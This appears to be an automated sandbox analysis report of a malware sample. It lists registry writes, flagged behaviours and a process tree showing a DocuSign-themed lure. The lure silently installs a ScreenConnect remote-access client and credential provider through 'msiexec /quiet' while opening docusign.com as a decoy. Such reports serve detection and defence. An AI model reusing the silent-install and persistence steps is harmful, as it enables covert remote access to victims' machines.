Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{2249AB7A-7DF9-4585-A5B0-297A2560BB9A}	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Version = "419627012"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\PackageName = "app.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\ = "Essentials Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductName = "Essentials"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_dcfe28b4\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_dcfe28b4\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\PackageCode = "38C82D9ED1583419B6D314611F7E0316"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media\1 = ";"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1340	msiexec.exe
1340	msiexec.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5452	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5452	msiexec.exe
Token: SeSecurityPrivilege	1340	msiexec.exe
Token: SeCreateTokenPrivilege	5452	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5452	msiexec.exe
Token: SeLockMemoryPrivilege	5452	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5452	msiexec.exe
Token: SeMachineAccountPrivilege	5452	msiexec.exe
Token: SeTcbPrivilege	5452	msiexec.exe
Token: SeSecurityPrivilege	5452	msiexec.exe
Token: SeTakeOwnershipPrivilege	5452	msiexec.exe
Token: SeLoadDriverPrivilege	5452	msiexec.exe
Token: SeSystemProfilePrivilege	5452	msiexec.exe
Token: SeSystemtimePrivilege	5452	msiexec.exe
Token: SeProfSingleProcessPrivilege	5452	msiexec.exe
Token: SeIncBasePriorityPrivilege	5452	msiexec.exe
Token: SeCreatePagefilePrivilege	5452	msiexec.exe
Token: SeCreatePermanentPrivilege	5452	msiexec.exe
Token: SeBackupPrivilege	5452	msiexec.exe
Token: SeRestorePrivilege	5452	msiexec.exe
Token: SeShutdownPrivilege	5452	msiexec.exe
Token: SeDebugPrivilege	5452	msiexec.exe
Token: SeAuditPrivilege	5452	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5452	msiexec.exe
Token: SeChangeNotifyPrivilege	5452	msiexec.exe
Token: SeRemoteShutdownPrivilege	5452	msiexec.exe
Token: SeUndockPrivilege	5452	msiexec.exe
Token: SeSyncAgentPrivilege	5452	msiexec.exe
Token: SeEnableDelegationPrivilege	5452	msiexec.exe
Token: SeManageVolumePrivilege	5452	msiexec.exe
Token: SeImpersonatePrivilege	5452	msiexec.exe
Token: SeCreateGlobalPrivilege	5452	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeShutdownPrivilege	2804	MsiExec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
4692	msedge.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 11 IoCs

pid	Process
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe
5148	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5452	msiexec.exe
1340	msiexec.exe
3944	MsiExec.exe
2804	MsiExec.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 5828 wrote to memory of 5452	5828	2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	89
PID 5828 wrote to memory of 4304	5828	2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	91
PID 4304 wrote to memory of 5812	4304	vc_redist.x64.exe	92
PID 1340 wrote to memory of 3944	1340	msiexec.exe	93
PID 3944 wrote to memory of 4396	3944	MsiExec.exe	94
PID 1340 wrote to memory of 2804	1340	msiexec.exe	95
PID 3848 wrote to memory of 5148	3848	ScreenConnect.ClientService.exe	97
PID 5812 wrote to memory of 2900	5812	vc_redist.x64.exe	98
PID 5828 wrote to memory of 4692	5828	2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	107
PID 4692 wrote to memory of 1256	4692	msedge.exe	108
PID 4692 wrote to memory of 2368	4692	msedge.exe	110
PID 4692 wrote to memory of 4172	4692	msedge.exe	111
PID 4692 wrote to memory of 2368	4692	msedge.exe	110
PID 4692 wrote to memory of 2368	4692	msedge.exe	110
PID 4692 wrote to memory of 3692	4692	msedge.exe	112
PID 4692 wrote to memory of 3692	4692	msedge.exe	112
PID 4692 wrote to memory of 4552	4692	msedge.exe	113
PID 4692 wrote to memory of 4552	4692	msedge.exe	113
PID 4692 wrote to memory of 4552	4692	msedge.exe	113
PID 4692 wrote to memory of 1292	4692	msedge.exe	114
PID 4692 wrote to memory of 1292	4692	msedge.exe	114
PID 4692 wrote to memory of 1292	4692	msedge.exe	114
PID 4692 wrote to memory of 2148	4692	msedge.exe	115
PID 4692 wrote to memory of 2148	4692	msedge.exe	115
PID 4692 wrote to memory of 2148	4692	msedge.exe	115
PID 4692 wrote to memory of 3516	4692	msedge.exe	116
PID 4692 wrote to memory of 3516	4692	msedge.exe	116
PID 4692 wrote to memory of 3516	4692	msedge.exe	116
PID 4692 wrote to memory of 4508	4692	msedge.exe	117
PID 4692 wrote to memory of 4508	4692	msedge.exe	117
PID 4692 wrote to memory of 4508	4692	msedge.exe	117
PID 4692 wrote to memory of 2576	4692	msedge.exe	119
PID 4692 wrote to memory of 2576	4692	msedge.exe	119
PID 4692 wrote to memory of 5928	4692	msedge.exe	120
PID 4692 wrote to memory of 5928	4692	msedge.exe	120
PID 4692 wrote to memory of 4136	4692	msedge.exe	121
PID 4692 wrote to memory of 4136	4692	msedge.exe	121
PID 4692 wrote to memory of 2300	4692	msedge.exe	123
PID 4692 wrote to memory of 5892	4692	msedge.exe	126
PID 4692 wrote to memory of 5892	4692	msedge.exe	126
PID 4692 wrote to memory of 3664	4692	msedge.exe	127
PID 4692 wrote to memory of 3664	4692	msedge.exe	127
PID 4692 wrote to memory of 1532	4692	msedge.exe	128
PID 4692 wrote to memory of 1532	4692	msedge.exe	128
PID 4692 wrote to memory of 904	4692	msedge.exe	130
PID 4692 wrote to memory of 904	4692	msedge.exe	130
PID 4692 wrote to memory of 5544	4692	msedge.exe	131
PID 4692 wrote to memory of 5080	4692	msedge.exe	132
PID 4692 wrote to memory of 4152	4692	msedge.exe	133
PID 4692 wrote to memory of 6072	4692	msedge.exe	134
PID 4692 wrote to memory of 6072	4692	msedge.exe	134
PID 4692 wrote to memory of 1824	4692	msedge.exe	138
PID 4692 wrote to memory of 1824	4692	msedge.exe	138
PID 4692 wrote to memory of 720	4692	msedge.exe	139
PID 4692 wrote to memory of 720	4692	msedge.exe	139

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5828
- C:\Windows\SysWOW64\msiexec.exe
  "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_dcfe28b4\app.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5452
- C:\Users\Admin\AppData\Local\Temp\DocuSign_dcfe28b4\vc_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\DocuSign_dcfe28b4\vc_redist.x64.exe" /install /quiet /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\Temp\{D9BFA6CC-AD3F-4A1C-9E62-104BE331AC95}\.cr\vc_redist.x64.exe
    "C:\Windows\Temp\{D9BFA6CC-AD3F-4A1C-9E62-104BE331AC95}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_dcfe28b4\vc_redist.x64.exe" -burn.filehandle.attached=752 -burn.filehandle.self=756 /install /quiet /norestart
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Windows\Temp\{D875ACD4-B1DD-45A6-885B-357DF08CE490}\.be\VC_redist.x64.exe
      "C:\Windows\Temp\{D875ACD4-B1DD-45A6-885B-357DF08CE490}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{DA7538AF-9524-44A8-8AE4-C79D45D64558} {2CAD5284-65BC-408B-963E-45A9F917B669} 5812
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.docusign.com/
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffd1543c188,0x7ffd1543c194,0x7ffd1543c1a0
    3⤵
    PID:1256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1888,i,5542687488450527539,3697777468532455559,262144 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:2
    3⤵
    PID:2368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2072,i,8208689899881885427,1231874744651338953,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4172
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2432,i,7006698315725561037,7550304184823233217,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:13
    3⤵
    PID:3692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3576,i,2781850785874799741,14021663341886676518,2097152 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
    3⤵
    PID:4552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,11057638705365925863,10281656331891736319,2097152 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
    3⤵
    PID:1292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4148,i,3482304003765458356,6128512239485453114,2097152 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:1
    3⤵
    PID:2148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4200,i,5971527270699357364,12792269112183685152,2097152 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:9
    3⤵
    PID:3516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5212,i,10674583984535908425,17498870097396174909,2097152 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:1
    3⤵
    PID:4508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,9431264074724529733,12598183805211451903,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:14
    3⤵
    PID:2576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,1653370033015524302,16375060405993761015,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:14
    3⤵
    PID:5928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5612,i,16740627887242151275,11129653150443278828,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
    3⤵
    PID:4136
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,16834080721041242430,5114097327958160501,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
    3⤵
    PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,16834080721041242430,5114097327958160501,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
    3⤵
    PID:2300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,10099212149523386429,15518989374845500302,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
    3⤵
    PID:5892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,16981695237950716551,15709814840731391765,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
    3⤵
    PID:3664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6548,i,9099182555216874970,8614015641157407253,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:14
    3⤵
    PID:1532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,2776034134400743677,1518268434317842328,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
    3⤵
    PID:904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,7560875954716901001,3546382474941559713,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=1388 /prefetch:14
    3⤵
    PID:5544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,18267779431300872580,7586222429777845438,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=1408 /prefetch:14
    3⤵
    PID:5080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1404,i,17276474118739681109,2395721427537579044,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:4152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=744,i,15051466710410493784,14771713802167217888,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:6072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
